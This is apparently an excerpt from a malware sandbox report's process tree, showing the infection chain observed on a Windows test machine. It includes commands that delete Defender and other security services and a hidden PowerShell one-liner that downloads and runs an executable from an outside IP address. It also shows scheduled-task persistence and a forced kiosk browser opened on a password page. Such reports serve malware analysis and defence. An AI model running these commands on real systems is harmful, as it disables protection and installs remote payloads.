                          sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                          11⤵
                          • Launches sc.exe
                          PID:2448
                        • C:\Windows\system32\sc.exe
                          sc start ddrver
                          11⤵
                          • Launches sc.exe
                          PID:2160
                        • C:\Windows\system32\timeout.exe
                          timeout /t 1
                          11⤵
                          • Delays execution with timeout.exe
                          PID:2852
                        • C:\Windows\system32\sc.exe
                          sc stop ddrver
                          11⤵
                          • Launches sc.exe
                          PID:2660
                        • C:\Windows\system32\sc.exe
                          sc start ddrver
                          11⤵
                          • Launches sc.exe
                          PID:3020
                        • C:\Windows\system32\takeown.exe
                          takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                          11⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:2904
                        • C:\Windows\system32\icacls.exe
                          icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                          11⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:2876
                        • C:\Windows\system32\sc.exe
                          sc stop "WinDefend"
                          11⤵
                          • Launches sc.exe
                          PID:2828
                        • C:\Windows\system32\sc.exe
                          sc delete "WinDefend"
                          11⤵
                          • Launches sc.exe
                          PID:3056
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                          11⤵
                            PID:1876
                          • C:\Windows\system32\sc.exe
                            sc stop "MDCoreSvc"
                            11⤵
                            • Launches sc.exe
                            PID:2020
                          • C:\Windows\system32\sc.exe
                            sc delete "MDCoreSvc"
                            11⤵
                            • Launches sc.exe
                            PID:1268
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                            11⤵
                              PID:2892
                            • C:\Windows\system32\sc.exe
                              sc stop "WdNisSvc"
                              11⤵
                              • Launches sc.exe
                              PID:856
                            • C:\Windows\system32\sc.exe
                              sc delete "WdNisSvc"
                              11⤵
                              • Launches sc.exe
                              PID:536
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                              11⤵
                                PID:296
                              • C:\Windows\system32\sc.exe
                                sc stop "Sense"
                                11⤵
                                • Launches sc.exe
                                PID:1028
                              • C:\Windows\system32\sc.exe
                                sc delete "Sense"
                                11⤵
                                • Launches sc.exe
                                PID:1332
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                11⤵
                                  PID:1440
                                • C:\Windows\system32\sc.exe
                                  sc stop "wscsvc"
                                  11⤵
                                  • Launches sc.exe
                                  PID:1524
                                • C:\Windows\system32\sc.exe
                                  sc delete "wscsvc"
                                  11⤵
                                  • Launches sc.exe
                                  PID:332
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                  11⤵
                                    PID:1864
                                  • C:\Windows\system32\sc.exe
                                    sc stop "SgrmBroker"
                                    11⤵
                                    • Launches sc.exe
                                    PID:2140
                                  • C:\Windows\system32\sc.exe
                                    sc delete "SgrmBroker"
                                    11⤵
                                    • Launches sc.exe
                                    PID:2068
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                    11⤵
                                      PID:1736
                                    • C:\Windows\system32\sc.exe
                                      sc stop "SecurityHealthService"
                                      11⤵
                                      • Launches sc.exe
                                      PID:1744
                                    • C:\Windows\system32\sc.exe
                                      sc delete "SecurityHealthService"
                                      11⤵
                                      • Launches sc.exe
                                      PID:904
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                      11⤵
                                        PID:936
                                      • C:\Windows\system32\sc.exe
                                        sc stop "webthreatdefsvc"
                                        11⤵
                                        • Launches sc.exe
                                        PID:1248
                                      • C:\Windows\system32\sc.exe
                                        sc delete "webthreatdefsvc"
                                        11⤵
                                        • Launches sc.exe
                                        PID:2116
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                        11⤵
                                          PID:1728
                                        • C:\Windows\system32\sc.exe
                                          sc stop "webthreatdefusersvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:2156
                                        • C:\Windows\system32\sc.exe
                                          sc delete "webthreatdefusersvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:2164
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                          11⤵
                                            PID:1288
                                          • C:\Windows\system32\sc.exe
                                            sc stop "WdNisDrv"
                                            11⤵
                                            • Launches sc.exe
                                            PID:2100
                                          • C:\Windows\system32\sc.exe
                                            sc delete "WdNisDrv"
                                            11⤵
                                            • Launches sc.exe
                                            PID:2356
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                            11⤵
                                              PID:376
                                            • C:\Windows\system32\sc.exe
                                              sc stop "WdBoot"
                                              11⤵
                                              • Launches sc.exe
                                              PID:2132
                                            • C:\Windows\system32\sc.exe
                                              sc delete "WdBoot"
                                              11⤵
                                              • Launches sc.exe
                                              PID:2640
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                              11⤵
                                                PID:1788
                                              • C:\Windows\system32\sc.exe
                                                sc stop "WdFilter"
                                                11⤵
                                                • Launches sc.exe
                                                PID:2520
                                              • C:\Windows\system32\sc.exe
                                                sc delete "WdFilter"
                                                11⤵
                                                • Launches sc.exe
                                                PID:2428
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                11⤵
                                                  PID:2352
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "SgrmAgent"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:1552
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "SgrmAgent"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:2380
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                  11⤵
                                                    PID:2872
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "MsSecWfp"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:2496
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "MsSecWfp"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:1900
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                    11⤵
                                                      PID:2252
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "MsSecFlt"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:1052
                                                    • C:\Windows\system32\sc.exe
                                                      sc delete "MsSecFlt"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:2480
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                      11⤵
                                                        PID:2868
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "MsSecCore"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:2436
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "MsSecCore"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:2460
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                        11⤵
                                                          PID:2232
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                          11⤵
                                                            PID:2280
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                            11⤵
                                                              PID:2848
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                              11⤵
                                                                PID:1700
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                11⤵
                                                                  PID:2248
                                                                • C:\Windows\system32\sc.exe
                                                                  sc stop ddrver
                                                                  11⤵
                                                                  • Launches sc.exe
                                                                  PID:1848
                                                                • C:\Windows\system32\sc.exe
                                                                  sc delete ddrver
                                                                  11⤵
                                                                  • Launches sc.exe
                                                                  PID:2284
                                                      • C:\Users\Admin\AppData\Local\Temp\10367620101\04b607ccaa.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10367620101\04b607ccaa.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Suspicious use of SendNotifyMessage
                                                        PID:3000
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c schtasks /create /tn SQTuKmarji9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\4aYg6nyU6.hta" /sc minute /mo 25 /ru "Admin" /f
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2556
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /tn SQTuKmarji9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\4aYg6nyU6.hta" /sc minute /mo 25 /ru "Admin" /f
                                                            8⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:2228
                                                        • C:\Windows\SysWOW64\mshta.exe
                                                          mshta C:\Users\Admin\AppData\Local\Temp\4aYg6nyU6.hta
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:1064
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'AIBUQFEECTEZNGUNBTLEUC5TZ9TRHZZU.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                            8⤵
                                                            • Blocklisted process makes network request
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Downloads MZ/PE file
                                                            • Loads dropped DLL
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1952
                                                            • C:\Users\Admin\AppData\Local\TempAIBUQFEECTEZNGUNBTLEUC5TZ9TRHZZU.EXE
                                                              "C:\Users\Admin\AppData\Local\TempAIBUQFEECTEZNGUNBTLEUC5TZ9TRHZZU.EXE"
                                                              9⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:1744
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\10367630121\am_no.cmd" "
                                                        6⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:740
                                                        • C:\Windows\SysWOW64\timeout.exe
                                                          timeout /t 2
                                                          7⤵
                                                          • Delays execution with timeout.exe
                                                          PID:1120
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2116
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                            8⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1728
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:888
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                            8⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2496
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2052
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                            8⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2460
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /create /tn "Qj3RDmaM0kx" /tr "mshta \"C:\Temp\mlfjCDPab.hta\"" /sc minute /mo 25 /ru "Admin" /f
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:1708
                                                        • C:\Windows\SysWOW64\mshta.exe
                                                          mshta "C:\Temp\mlfjCDPab.hta"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Modifies Internet Explorer settings
                                                          PID:2420
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                            8⤵
                                                            • Blocklisted process makes network request
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Downloads MZ/PE file
                                                            • Loads dropped DLL
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2720
                                                            • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                                              9⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:2836
                                                      • C:\Users\Admin\AppData\Local\Temp\10367950101\5053c5be6f.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10367950101\5053c5be6f.exe"
                                                        6⤵
                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                        • Checks BIOS information in registry
                                                        • Executes dropped EXE
                                                        • Identifies Wine through registry keys
                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:2184
                                                      • C:\Users\Admin\AppData\Local\Temp\10367960101\437dd6a2ac.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10367960101\437dd6a2ac.exe"
                                                        6⤵
                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                        • Checks BIOS information in registry
                                                        • Executes dropped EXE
                                                        • Identifies Wine through registry keys
                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:2428
                                                      • C:\Users\Admin\AppData\Local\Temp\10367970101\16da627043.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10367970101\16da627043.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Suspicious use of SendNotifyMessage
                                                        PID:2856
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /F /IM firefox.exe /T
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Kills process with taskkill
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1312
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /F /IM chrome.exe /T
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Kills process with taskkill
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2744
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /F /IM msedge.exe /T
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Kills process with taskkill
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2716
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /F /IM opera.exe /T
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Kills process with taskkill
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1820
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /F /IM brave.exe /T
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Kills process with taskkill
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1064
                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                          7⤵
                                                            PID:2836
                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                              8⤵
                                                              • Checks processor information in registry
                                                              • Modifies registry class
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              • Suspicious use of FindShellTrayWindow
                                                              • Suspicious use of SendNotifyMessage
                                                              PID:1080
                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1080.0.2091054277\2101600154" -parentBuildID 20221007134813 -prefsHandle 1224 -prefMapHandle 1216 -prefsLen 21005 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa40df96-d1ee-4932-bdf4-b240cf213863} 1080 "\\.\pipe\gecko-crash-server-pipe.1080" 1300 11fd8b58 gpu
                                                                9⤵
                                                                  PID:2104
                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1080.1.693642285\214248685" -parentBuildID 20221007134813 -prefsHandle 1492 -prefMapHandle 1488 -prefsLen 21866 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {78f4110d-6c4e-4ccc-8ee1-abcd5032ca3a} 1080 "\\.\pipe\gecko-crash-server-pipe.1080" 1504 e71858 socket
                                                                  9⤵
                                                                    PID:2156
                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1080.2.1682638724\514965311" -childID 1 -isForBrowser -prefsHandle 1828 -prefMapHandle 1776 -prefsLen 21969 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9296c59d-2b40-40ce-9c33-17204390c992} 1080 "\\.\pipe\gecko-crash-server-pipe.1080" 2104 19dc0458 tab
                                                                    9⤵
                                                                      PID:1696
                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1080.3.924544866\713547470" -childID 2 -isForBrowser -prefsHandle 2772 -prefMapHandle 2768 -prefsLen 26374 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {65349319-e455-4377-bf56-02225de6fc1f} 1080 "\\.\pipe\gecko-crash-server-pipe.1080" 2784 1cbe9b58 tab
                                                                      9⤵
                                                                        PID:2072
                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1080.4.140391650\433020791" -childID 3 -isForBrowser -prefsHandle 3784 -prefMapHandle 3808 -prefsLen 26433 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cb31389-f348-472b-83d9-5eb2980f684f} 1080 "\\.\pipe\gecko-crash-server-pipe.1080" 3828 1db5cd58 tab
                                                                        9⤵
                                                                          PID:1780
                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1080.5.444753044\1512943941" -childID 4 -isForBrowser -prefsHandle 3936 -prefMapHandle 3940 -prefsLen 26433 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2242493c-7594-49dc-9071-380129923a54} 1080 "\\.\pipe\gecko-crash-server-pipe.1080" 3924 1fddb058 tab
                                                                          9⤵
                                                                            PID:1308
                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1080.6.685911962\91391014" -childID 5 -isForBrowser -prefsHandle 4088 -prefMapHandle 4092 -prefsLen 26433 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {22162b2a-ce19-46bb-9d57-04646888a148} 1080 "\\.\pipe\gecko-crash-server-pipe.1080" 3828 1fddb658 tab
                                                                            9⤵
                                                                              PID:2236
                                                                      • C:\Users\Admin\AppData\Local\Temp\10367980101\339af0bae9.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\10367980101\339af0bae9.exe"
                                                                        6⤵
                                                                        • Modifies Windows Defender DisableAntiSpyware settings
                                                                        • Modifies Windows Defender Real-time Protection settings
                                                                        • Modifies Windows Defender TamperProtection settings
                                                                        • Modifies Windows Defender notification settings
                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                        • Checks BIOS information in registry
                                                                        • Executes dropped EXE
                                                                        • Identifies Wine through registry keys
                                                                        • Windows security modification
                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:3316
                                                                      • C:\Users\Admin\AppData\Local\Temp\10367990101\a382818104.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\10367990101\a382818104.exe"
                                                                        6⤵
                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                        • Checks BIOS information in registry
                                                                        • Executes dropped EXE
                                                                        • Identifies Wine through registry keys
                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                        • Suspicious use of SetThreadContext
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:4080
                                                                        • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\10367990101\a382818104.exe"
                                                                          7⤵
                                                                          • Downloads MZ/PE file
                                                                          • Executes dropped EXE
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:3288
                                                                      • C:\Users\Admin\AppData\Local\Temp\10368000101\2976a68e4a.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\10368000101\2976a68e4a.exe"
                                                                        6⤵
                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                        • Checks BIOS information in registry
                                                                        • Executes dropped EXE
                                                                        • Identifies Wine through registry keys
                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                        • Suspicious use of SetThreadContext
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:3560
                                                                        • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\10368000101\2976a68e4a.exe"
                                                                          7⤵
                                                                          • Executes dropped EXE
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:3756
                                                                      • C:\Users\Admin\AppData\Local\Temp\10368010101\1414819531.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\10368010101\1414819531.exe"
                                                                        6⤵
                                                                        • Executes dropped EXE
                                                                        PID:3804
                                                                        • C:\Windows\system32\WerFault.exe
                                                                          C:\Windows\system32\WerFault.exe -u -p 3804 -s 64
                                                                          7⤵
                                                                            PID:3848
                                                                        • C:\Users\Admin\AppData\Local\Temp\10368020101\TbV75ZR.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\10368020101\TbV75ZR.exe"
                                                                          6⤵
                                                                          • Executes dropped EXE
                                                                          PID:4056
                                                                          • C:\Windows\system32\WerFault.exe
                                                                            C:\Windows\system32\WerFault.exe -u -p 4056 -s 44
                                                                            7⤵
                                                                              PID:3148
                                                                          • C:\Users\Admin\AppData\Local\Temp\10368030101\u75a1_003.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\10368030101\u75a1_003.exe"
                                                                            6⤵
                                                                            • Executes dropped EXE
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:3236
                                                                          • C:\Users\Admin\AppData\Local\Temp\10368040101\428d03076d.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\10368040101\428d03076d.exe"
                                                                            6⤵
                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                            • Checks BIOS information in registry
                                                                            • Executes dropped EXE
                                                                            • Identifies Wine through registry keys
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            • System Location Discovery: System Language Discovery
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:3624
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3624 -s 384
                                                                              7⤵
                                                                              • Program crash
                                                                              PID:3352
                                                                          • C:\Users\Admin\AppData\Local\Temp\10368050101\7IIl2eE.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\10368050101\7IIl2eE.exe"
                                                                            6⤵
                                                                            • Executes dropped EXE
                                                                            • Drops file in Windows directory
                                                                            PID:2724
                                                                            • C:\Windows\SysWOW64\CMD.exe
                                                                              "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
                                                                              7⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:3940
                                                                              • C:\Windows\SysWOW64\tasklist.exe
                                                                                tasklist
                                                                                8⤵
                                                                                • Enumerates processes with tasklist
                                                                                • System Location Discovery: System Language Discovery
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:4084
                                                                              • C:\Windows\SysWOW64\findstr.exe
                                                                                findstr /I "opssvc wrsa"
                                                                                8⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1712
                                                                              • C:\Windows\SysWOW64\tasklist.exe
                                                                                tasklist
                                                                                8⤵
                                                                                • Enumerates processes with tasklist
                                                                                • System Location Discovery: System Language Discovery
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:3360
                                                                              • C:\Windows\SysWOW64\findstr.exe
                                                                                findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                                                                                8⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1684
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd /c md 418377
                                                                                8⤵
                                                                                  PID:3796
                                                                                • C:\Windows\SysWOW64\extrac32.exe
                                                                                  extrac32 /Y /E Leon.cab
                                                                                  8⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:3868
                                                                                • C:\Windows\SysWOW64\findstr.exe
                                                                                  findstr /V "BEVERAGES" Compilation
                                                                                  8⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:1012
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
                                                                                  8⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:3520
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
                                                                                  8⤵
                                                                                  • System Location Discovery: System Language Discovery
